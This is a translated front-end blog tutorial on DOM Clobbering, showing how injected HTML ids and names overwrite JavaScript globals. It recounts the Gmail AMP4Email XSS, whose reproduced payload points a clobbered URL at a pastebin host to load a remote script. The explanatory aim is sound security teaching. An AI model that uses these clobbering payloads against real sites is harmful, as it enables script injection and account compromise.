Preface
As a front-end programmer, you should definitely know a lot of front-end-related knowledge, such as HTML or JS-related things, but these are usually related to "use". For example, I know that when I write HTML, I need to be semantic and use the correct tags; I know how to use JS. However, although some knowledge is also related to web pages, it is not often contacted by front-end programmers.
The so-called "some knowledge" refers to knowledge related to information security. Some common concepts in information security, although related to web pages, are not familiar to us, and I think it is actually very important to understand these. Because you must know how to attack in order to defend, and you must first know the attack methods and principles before you know how to defend.
Before officially starting, let everyone practice on a small topic.
Suppose there is a piece of code, a button and a js script, as shown below:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<button id="btn">click me</button>
<script>
// TODO: add click event listener to button
</script>
</body>
</html>
You may now use the shortest code to achieve a will pop up when you click the button alert(1)
this function.
Write it like this:
document.getElementById('btn')
.addEventListener('click', () => {
alert(1)
})
So if you want to make the code the shortest, what is your answer?
Think about it before continuing, and then look down after you think about it.
.
.
.
.
.
.
.
.
.
Quantum entanglement between DOM and window
Do you know the things in the DOM may affect the window?
That is, after you set an element with id in HTML, you can directly operate it in JS:
<button id="btn">click me</button>
<script>
console.log(window.btn) // <button id="btn">click me</button>
</script>
Due to the scope rules of JS, you can use btn
directly, because when the current scope is not found, it will look up and find window
all the way.
So the answer to the previous question is:
btn.onclick = () => alert(1)
There is no need for getElementById
or querySelector
. Just use id
to get it. There should be no shorter code than this (if any, please leave a message and hit your face)
And this behavior is clearly defined in the HTML documentation, in 7.3.3 Named access on the Window object :
Excerpt from two important points:
- the value of the name content attribute for all
embed
,form
,img
, andobject
elements that have a non-empty name content attribute- the value of the
id
content attribute for all HTML elements that have a non-empty id content attribute
That addition id
can directly window
access to the outside, embed
, form
, img
and object
four labels name
may operate:
<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>
But what's the use of knowing this? Yes, after understanding this rule, one can draw a conclusion:
We have the opportunity to influence JS through HTML elements!
And to use this technique in the attack is the DOM Clobbering of the title. The word clobbering was known for the first time because of this attack method. I checked it and found that it has the meaning of covering in the computer professional field, which is to cover something through the DOM to achieve an attack.
Getting started with DOM Clobbering
Then, under what circumstances are there opportunities to use DOM Clobbering to attack?
You must first have the opportunity to display your own HTML on the page, otherwise there is no way. So an attackable scenario might look like this:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<h1>留言板</h1>
<div>
你的留言:Hello World!
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>
Suppose there is a message board where you can enter any content, but your input will be processed on the server side (for example, with DOMPurify ), all things that can execute JavaScript are filtered out, so <script></script>
will be Delete, <img src=x onerror=alert(1)>
of onerror
will be removed, and many XSS payloads will also be killed.
In short, you can't execute JavaScript to perform XSS attacks, because these are filtered out.
But because of various factors, HTML tags are not filtered out, so what you can do is display custom HTML. As long as the JS is not executed, you can insert any HTML tags and set any attributes.
So you can do this:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<h1>留言板</h1>
<div>
你的留言:<div id="TEST_MODE"></div>
<a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>
According to the above we have learned the knowledge, you can insert a id
is TEST_MODE
label <div id="TEST_MODE"></div>
, so under the JS if (window.TEST_MODE)
will cross the border, because window.TEST_MODE
is the div element.
In addition, we can use <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
to window.TEST_SCRIPT_SRC
into a string and become what we want.
In many cases, it is not enough to just overwrite a variable into an HTML element. For example, if you convert the window.TEST_MODE
the above code into a string and print it out:
// <div id="TEST_MODE" />
console.log(window.TEST_MODE + '')
The result will be: [object HTMLDivElement]
.
Turning an HTML element into a string will turn it into this form, and if it is, there is basically no way to use it. But fortunately, there are two elements in toString
that will be treated specially <base>
and <a>
:
Source: 4.6.3 API for a and area elements
These two elements will return the URL when toString
, and we can set the URL href
attribute, so that the content after toString
So in combination with the above methods, we have discarded:
- Use HTML with
id
attributes to affect JS variables - Use
a
withhref
andid
make the elementtoString
become the value we want afterwards
By combining the above two methods with appropriate scenarios, there is an opportunity to use DOM Clobbering to attack.
But note here, if the variable you want to attack already exists, you can't overwrite it with DOM, for example:
<!DOCTYPE html>
<html>
<head>
<script>
TEST_MODE = 1
</script>
</head>
<body>
<div id="TEST_MODE"></div>
<script>
console.log(window.TEST_MODE) // 1
</script>
</body>
</html>
Multi-level DOM Clobbering
In the previous example, we used DOM to window.TEST_MODE
, creating unexpected behavior. If the object to be covered is an object, is there a chance?
For example window.config.isTest
also be covered with DOM clobbering?
There are several methods. The first is to use the hierarchical relationship of HTML tags. The one with this feature is the form
form:
There is such a paragraph in the description
You can use form[name]
or form[id]
get the elements under it, for example:
<!DOCTYPE html>
<html>
<body>
<form id="config">
<input name="isTest" />
<button id="isProd"></button>
</form>
<script>
console.log(config) // <form id="config">
console.log(config.isTest) // <input name="isTest" />
console.log(config.isProd) // <button id="isProd"></button>
</script>
</body>
</html>
In this way, two layers of DOM clobbering can be constructed. Note, however, that there is no a
available, so toString
after will be no way to use.
But more likely to take advantage of the opportunity, when you want something covered with value
time access, such as: config.enviroment.value
, you can use input
of value
attributes do cover:
<!DOCTYPE html>
<html>
<body>
<form id="config">
<input name="enviroment" value="test" />
</form>
<script>
console.log(config.enviroment.value) // test
</script>
</body>
</html>
Simply put, only those built-in properties can be overridden, and there is no other way.
In addition to using the hierarchy of HTML itself, you can also use another feature: HTMLCollection.
Named access on the Window object
that we saw earlier, the paragraph that determines what the value is is written like this:
If there are multiple things to be returned, HTMLCollection is returned.
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config"></a>
<script>
console.log(config) // HTMLCollection(2)
</script>
</body>
</html>
What can be done with HTMLCollection? In 4.2.10.2. Interface HTMLCollection mentioned, you can use name
or id
get the elements in HTMLCollection.
like this:
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config" name="apiUrl" href="https://huli.tw"></a>
<script>
console.log(config.apiUrl + '')
// https://huli.tw
</script>
</body>
</html>
You can id
same name, and then use name
to get specific elements of HTMLCollection, which can achieve the same two-layer effect.
And if you combine form
with HTMLCollection, you can achieve three levels:
<!DOCTYPE html>
<html>
<body>
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value) //123
</script>
</body>
</html>
id
of the same name, so that config
can get HTMLCollection, and then use config.prod
to get the HTMLCollection name
is prod
, which is the form
, then form.apiUrl
gets the input
under the form, and finally value
gets the inside. Attributes.
So if the last attribute to be taken is the HTML attribute, it can be four layers, otherwise it can only be three layers.
More levels of DOM Clobbering
As mentioned earlier, the three-layer or conditional four-layer is already the limit, so is there any other way to break the limit?
According to the approach given in DOM Clobbering strikes back , yes, it can be done iframe
When you create a iframe
and give it a name
, use this name
to refer to iframe
in window
, so you can do this:
<!DOCTYPE html>
<html>
<body>
<iframe name="config" srcdoc='
<a id="apiUrl"></a>
'></iframe>
<script>
setTimeout(() => {
console.log(config.apiUrl) // <a id="apiUrl"></a>
}, 500)
</script>
</body>
</html>
The reason why setTimeout
is needed here is because iframe
not loaded synchronously, so it takes some time to get the things in iframe
With iframe
, more levels can be created:
<!DOCTYPE html>
<html>
<body>
<iframe name="moreLevel" srcdoc='
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
'></iframe>
<script>
setTimeout(() => {
console.log(moreLevel.config.prod.apiUrl.value) //123
}, 500)
</script>
</body>
</html>
Theoretically, you can put iframe
in iframe
to achieve unlimited levels of DOM clobbering, but I tried it and found that there may be some coding problems, for example, like this:
<!DOCTYPE html>
<html>
<body>
<iframe name="level1" srcdoc='
<iframe name="level2" srcdoc="
<iframe name="level3"></iframe>
"></iframe>
'></iframe>
<script>
setTimeout(() => {
console.log(level1.level2.level3) // undefined
}, 500)
</script>
</body>
</html>
Print out will be undefined
, but if level3
that double quotation marks removed, direct written name=level3
can successfully print out the contents, I guess because some resolve problems caused by single quotes double quotes, and what are the solutions currently not found , I only tried this to be feasible, but I went wrong again:
<!DOCTYPE html>
<html>
<body>
<iframe name="level1" srcdoc="
<iframe name="level2" srcdoc="
<iframe name='level3' srcdoc='
<iframe name=level4></iframe>
'></iframe>
"></iframe>
"></iframe>
<script>
setTimeout(() => {
console.log(level1.level2.level3.level4)
}, 500)
</script>
</body>
</html>
But in fact, such a deep level should not be used, so four layers at most five layers are enough.
Case study: Gmail AMP4Email XSS
In 2019, there is a vulnerability in Gmail that was attacked through DOM clobbering. The complete analysis is here: XSS in GMail's AMP4Email via DOM Clobbering , the following briefly talks about the process (part of the content is taken from this article).
Simply put, you can use some of the AMP functions in Gmail, and Google verifies this format very rigorously, so there is no way to perform XSS in a general way.
However, someone found that it was possible to set the id on the HTML element, and found that after he set a <a id="AMP_MODE">
, a script loading error suddenly appeared in the console, and one of the undefined
in the URL was 060bee443712d8. After studying the code carefully, there is a piece of code that looks like this:
var script = window.document.createElement("script");
script.async = false;
var loc;
if (AMP_MODE.test && window.testLocation) {
loc = window.testLocation
} else {
loc = window.location;
}
if (AMP_MODE.localDev) {
loc = loc.protocol + "//" + loc.host + "/dist"
} else {
loc = "https://cdn.ampproject.org";
}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
document.head.appendChild(b);
If you can make AMP_MODE.test
and AMP_MODE.localDev
both true values, you can load any script with the setting of window.testLocation
So the attack code will look like this:
// 让 AMP_MODE.test 和 AMP_MODE.localDev 有内容
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>
// 设置 testLocation.protocol
<a id="testLocation"></a>
<a id="testLocation" name="protocol"
href="https://pastebin.com/raw/0tn8z0rG#"></a>
Finally, you can successfully load any script, and proceed to XSS! (However, the author only tried this step and was stopped by CSP).
This should be one of the most famous cases of DOM Clobbering.
to sum up
Although the usage scenarios of DOM Clobbering are limited, it is a rather interesting attack method! And if you don't know this feature, you may not have thought that you can influence the content of global variables through HTML.
If you are interested in this attack method, you can refer to PortSwigger's article , which provides two experiments for everyone to try this attack method.
This article first published WeChat public account: Front-end Pioneer
Welcome to scan the QR code to follow the official account, and push you fresh front-end technical articles every day
Welcome to continue reading other highly praised articles in this column:
- Deep understanding of Shadow DOM v1
- Step by step teaches you to use WebVR to realize virtual reality games
- 13 modern CSS frameworks to help you improve your development efficiency
- Quickly get started with BootstrapVue
- JavaScript engine work? Everything you need to know from call stack to
- WebSocket combat: real-time communication between Node and React
- 20 interview questions about Git
- depth analysis of Node.js console.log
- What exactly is Node.js?
- with Node.js in 30 minutes
- Javascript object copy
- programmers have a monthly salary of less than 30K before the age of 30, so what should they do?
- 14 best JavaScript data visualization libraries
- 8 top-end VS Code extension plug-ins for the front end
- Node.js Multithreading Complete Guide
- 4 solutions and implementations of converting HTML to PDF
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。